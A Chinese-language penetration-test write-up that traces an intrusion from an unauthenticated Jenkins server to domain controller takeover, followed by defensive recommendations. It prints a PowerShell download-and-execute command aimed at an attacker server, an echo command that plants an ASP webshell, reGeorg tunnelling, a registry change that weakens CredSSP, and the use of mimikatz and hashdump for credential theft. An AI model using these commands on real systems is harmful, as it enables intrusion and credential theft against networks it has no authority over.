从Jenkins未授权到拿下域控的过程
字数 1617 2025-08-10 08:29:01
从Jenkins未授权到拿下域控的完整渗透过程
0x00 前言
本文详细记录了一次从外网Jenkins未授权漏洞入手,最终获取域控权限的完整渗透过程。包含漏洞利用、权限维持、内网转发、横向移动和域控攻防等关键环节。
0x01 初始入口获取
Jenkins未授权RCE漏洞利用
目标资产:http://122.x.x.205:8080/
- 发现Jenkins未授权访问漏洞
- 通过Groovy脚本执行系统命令确认漏洞:
返回结果为println "cmd.exe /c whoami".execute().textnt authority\system,直接获取系统权限
系统信息收集
- 操作系统:Windows Server 2012 x64
- 网络环境:内网服务器
- 安全防护:存在杀毒软件
0x02 权限维持尝试
初始上线尝试
-
尝试CS生成的PowerShell脚本反弹:
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://118.payload.ps1'))"失败,服务器HTTP协议不通
-
尝试MSHTA等其他常见反弹方式均失败
-
通过ping测试发现服务器无法访问外网
DNS隧道尝试
- 配置DNS隧道反弹到CS:
- 设置域名解析和VPS地址
- CS开启DNS监听
- 生成DNS payload
- 发现无法上传payload执行
WebShell获取
-
发现80端口开放(IIS默认主页)
-
找到IIS默认目录:
C:\inetpub\wwwroot\ -
使用echo写入ASP一句话WebShell:
echo <%eval request("pass")%> > C:\inetpub\wwwroot\shell.asp成功获取WebShell
-
尝试上传aspx大马失败(权限不足)
0x03 提权与转发
提权尝试
-
尝试各种提权方法均失败
-
发现服务器安装有Git工具
-
通过Git clone下载文件成功:
git clone https://github.com/xxx/文件下载到
C:\ProgramData\ -
测试发现服务器可通过443端口出站
最终上线方法
- 利用Jenkins的system权限上传aspx大马到可写目录
- 移动到网站根目录获取完整WebShell
- 关键发现:设置CS监听为HTTP协议,监听端口为443可成功上线
内网转发方案
-
使用reGeorg进行内网转发:
- 上传tunnel.aspx到
C:\ProgramData\ - 移动到IIS目录
- 本地启动reGeorg监听:
python reGeorgSocksProxy.py -p 446 -u http://122.tunnel.aspx - 配置Proxifier进行代理
- 上传tunnel.aspx到
-
RDP连接问题解决:
- 遇到"当前允许连接的用户过多"错误
- 解决方案:
mstsc /admin /v:192.168.15.82 - 注册表修改解决加密问题:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System 新建CredSSP项 在CredSSP下新建Parameters项 新建DWORD(32位)值AllowEncryptionOracle,值设为2
0x04 横向渗透
密码抓取与利用
- 上传mimikatz抓取当前机器管理员密码
- 使用超级弱口令扫描B段RDP:
- 将抓取的密码加入字典
- 成功扫描到8台可登录机器
- 成功上线CS
凭证转储与横向移动
- 在已控机器执行hashdump获取登录凭证
- 横向移动到
192.168.15.70和192.168.15.76 - 信息收集发现域控:
192.168.15.14
域管凭证获取
- 在76机器执行mimikatz抓取域用户密码,尝试登录域控失败
- 在70机器发现SSM服务(SQL Server Management Studio)
- 分析该进程可能由域管运行,内存中可能存在域管凭证
- 使用mimikatz成功抓取域管凭证:
Username : Supertrans Domain : TRANSASIA Password : XXXXXXX
0x05 技术总结
- 入口获取:通过Jenkins未授权漏洞获取初始立足点
- 权限维持:克服网络限制,通过多种方式尝试权限维持
- 内网转发:使用reGeorg建立稳定内网通道
- 凭证收集:抓取本地密码并用于横向移动
- 密码爆破:利用收集的密码爆破B段机器
- 域控攻击:通过服务进程分析获取域管凭证
- 最终控制:使用域管凭证成功控制域控服务器
0x06 防御建议
-
Jenkins安全:
- 禁止未授权访问
- 及时更新Jenkins版本
- 限制Groovy脚本执行权限
-
网络防护:
- 严格限制服务器出站连接
- 监控异常DNS请求
- 限制RDP访问来源
-
权限管理:
- 实施最小权限原则
- 定期更换高权限账户密码
- 禁用不必要的服务账户
-
域安全:
- 启用LSA保护
- 监控敏感服务进程的异常行为
- 实施多因素认证
-
日志监控:
- 集中收集和分析安全日志
- 设置异常行为告警
- 定期审计特权账户活动